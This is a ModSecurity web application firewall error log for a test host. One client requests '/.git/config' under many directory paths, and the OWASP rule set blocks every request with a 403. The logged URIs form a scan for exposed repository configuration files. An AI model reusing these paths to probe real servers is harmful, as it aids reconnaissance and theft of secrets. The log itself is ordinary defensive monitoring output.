[Thu Jan 16 14:20:44.356468 2025] [:error] [pid 500655] [client 45.135.232.70:48752] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/.git/config&quot;] [unique_id &quot;Z4kHrAgnMRquV0bdEPwzfAAAAAM&quot;]
[Thu Jan 16 14:20:44.372582 2025] [:error] [pid 510637] [client 45.135.232.70:48434] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /common/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/common/.git/config&quot;] [unique_id &quot;Z4kHrC99y7sHzDyIeh2VcAAAAA8&quot;]
[Thu Jan 16 14:20:44.372930 2025] [:error] [pid 510637] [client 45.135.232.70:48434] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/common/.git/config&quot;] [unique_id &quot;Z4kHrC99y7sHzDyIeh2VcAAAAA8&quot;]
[Thu Jan 16 14:20:44.373146 2025] [:error] [pid 510637] [client 45.135.232.70:48434] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/common/.git/config&quot;] [unique_id &quot;Z4kHrC99y7sHzDyIeh2VcAAAAA8&quot;]
[Thu Jan 16 14:20:44.377317 2025] [:error] [pid 510616] [client 45.135.232.70:48720] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/smtp/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/smtp/.git/config&quot;] [unique_id &quot;Z4kHrE2UnlP04CIbRA95MwAAAAo&quot;]
[Thu Jan 16 14:20:44.377662 2025] [:error] [pid 510616] [client 45.135.232.70:48720] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/smtp/.git/config&quot;] [unique_id &quot;Z4kHrE2UnlP04CIbRA95MwAAAAo&quot;]
[Thu Jan 16 14:20:44.377863 2025] [:error] [pid 510616] [client 45.135.232.70:48720] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/smtp/.git/config&quot;] [unique_id &quot;Z4kHrE2UnlP04CIbRA95MwAAAAo&quot;]
[Thu Jan 16 14:20:44.379595 2025] [:error] [pid 510631] [client 45.135.232.70:48570] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/admin/v1/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v1/.git/config&quot;] [unique_id &quot;Z4kHrKll1LqbFli-TYExVgAAAA4&quot;]
[Thu Jan 16 14:20:44.379903 2025] [:error] [pid 510631] [client 45.135.232.70:48570] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v1/.git/config&quot;] [unique_id &quot;Z4kHrKll1LqbFli-TYExVgAAAA4&quot;]
[Thu Jan 16 14:20:44.380102 2025] [:error] [pid 510631] [client 45.135.232.70:48570] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v1/.git/config&quot;] [unique_id &quot;Z4kHrKll1LqbFli-TYExVgAAAA4&quot;]
[Thu Jan 16 14:20:44.380907 2025] [:error] [pid 510617] [client 45.135.232.70:48740] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /mailer/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailer/.git/config&quot;] [unique_id &quot;Z4kHrB0GqQT5iX5c5mKiJQAAAAs&quot;]
[Thu Jan 16 14:20:44.382327 2025] [:error] [pid 510617] [client 45.135.232.70:48740] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailer/.git/config&quot;] [unique_id &quot;Z4kHrB0GqQT5iX5c5mKiJQAAAAs&quot;]
[Thu Jan 16 14:20:44.382629 2025] [:error] [pid 510617] [client 45.135.232.70:48740] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailer/.git/config&quot;] [unique_id &quot;Z4kHrB0GqQT5iX5c5mKiJQAAAAs&quot;]
[Thu Jan 16 14:20:44.384021 2025] [:error] [pid 501744] [client 45.135.232.70:48118] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /services/aws-ses/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/aws-ses/.git/config&quot;] [unique_id &quot;Z4kHrJu1_bwn-OVhpZOlFwAAAAY&quot;]
[Thu Jan 16 14:20:44.384547 2025] [:error] [pid 501744] [client 45.135.232.70:48118] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/aws-ses/.git/config&quot;] [unique_id &quot;Z4kHrJu1_bwn-OVhpZOlFwAAAAY&quot;]
[Thu Jan 16 14:20:44.384947 2025] [:error] [pid 501744] [client 45.135.232.70:48118] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/aws-ses/.git/config&quot;] [unique_id &quot;Z4kHrJu1_bwn-OVhpZOlFwAAAAY&quot;]
[Thu Jan 16 14:20:44.389292 2025] [:error] [pid 510629] [client 45.135.232.70:48660] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /backend/modules/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/modules/.git/config&quot;] [unique_id &quot;Z4kHrEybss1A0El7xRHozwAAAAw&quot;]
[Thu Jan 16 14:20:44.389620 2025] [:error] [pid 510629] [client 45.135.232.70:48660] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/modules/.git/config&quot;] [unique_id &quot;Z4kHrEybss1A0El7xRHozwAAAAw&quot;]
[Thu Jan 16 14:20:44.389876 2025] [:error] [pid 510629] [client 45.135.232.70:48660] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/modules/.git/config&quot;] [unique_id &quot;Z4kHrEybss1A0El7xRHozwAAAAw&quot;]
[Thu Jan 16 14:20:44.392244 2025] [:error] [pid 500653] [client 45.135.232.70:48098] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /cron/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.git/config&quot;] [unique_id &quot;Z4kHrJWbe3YhcT1jDQtNBQAAAAE&quot;]
[Thu Jan 16 14:20:44.392550 2025] [:error] [pid 500653] [client 45.135.232.70:48098] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.git/config&quot;] [unique_id &quot;Z4kHrJWbe3YhcT1jDQtNBQAAAAE&quot;]
[Thu Jan 16 14:20:44.392849 2025] [:error] [pid 500653] [client 45.135.232.70:48098] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.git/config&quot;] [unique_id &quot;Z4kHrJWbe3YhcT1jDQtNBQAAAAE&quot;]
[Thu Jan 16 14:20:44.463437 2025] [:error] [pid 510615] [client 45.135.232.70:48722] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /repos/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repos/.git/config&quot;] [unique_id &quot;Z4kHrMMsllM7RW6P3X-0rwAAAAk&quot;]
[Thu Jan 16 14:20:44.463977 2025] [:error] [pid 510615] [client 45.135.232.70:48722] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repos/.git/config&quot;] [unique_id &quot;Z4kHrMMsllM7RW6P3X-0rwAAAAk&quot;]
[Thu Jan 16 14:20:44.464469 2025] [:error] [pid 510615] [client 45.135.232.70:48722] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repos/.git/config&quot;] [unique_id &quot;Z4kHrMMsllM7RW6P3X-0rwAAAAk&quot;]
[Thu Jan 16 14:20:44.481215 2025] [:error] [pid 500655] [client 45.135.232.70:48102] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /backend/smtp/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/smtp/.git/config&quot;] [unique_id &quot;Z4kHrAgnMRquV0bdEPwzfQAAAAM&quot;]
[Thu Jan 16 14:20:44.481795 2025] [:error] [pid 500655] [client 45.135.232.70:48102] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/smtp/.git/config&quot;] [unique_id &quot;Z4kHrAgnMRquV0bdEPwzfQAAAAM&quot;]
[Thu Jan 16 14:20:44.482437 2025] [:error] [pid 500655] [client 45.135.232.70:48102] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/smtp/.git/config&quot;] [unique_id &quot;Z4kHrAgnMRquV0bdEPwzfQAAAAM&quot;]
[Thu Jan 16 14:20:44.491120 2025] [:error] [pid 507252] [client 45.135.232.70:48084] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/notification/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/notification/.git/config&quot;] [unique_id &quot;Z4kHrM9-aCDtrS8J08kNqwAAAAc&quot;]
[Thu Jan 16 14:20:44.491681 2025] [:error] [pid 507252] [client 45.135.232.70:48084] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/notification/.git/config&quot;] [unique_id &quot;Z4kHrM9-aCDtrS8J08kNqwAAAAc&quot;]
[Thu Jan 16 14:20:44.492225 2025] [:error] [pid 507252] [client 45.135.232.70:48084] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/notification/.git/config&quot;] [unique_id &quot;Z4kHrM9-aCDtrS8J08kNqwAAAAc&quot;]
[Thu Jan 16 14:20:44.495249 2025] [:error] [pid 510616] [client 45.135.232.70:48658] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/admin/v4/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v4/.git/config&quot;] [unique_id &quot;Z4kHrE2UnlP04CIbRA95NAAAAAo&quot;]
[Thu Jan 16 14:20:44.495664 2025] [:error] [pid 510616] [client 45.135.232.70:48658] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v4/.git/config&quot;] [unique_id &quot;Z4kHrE2UnlP04CIbRA95NAAAAAo&quot;]
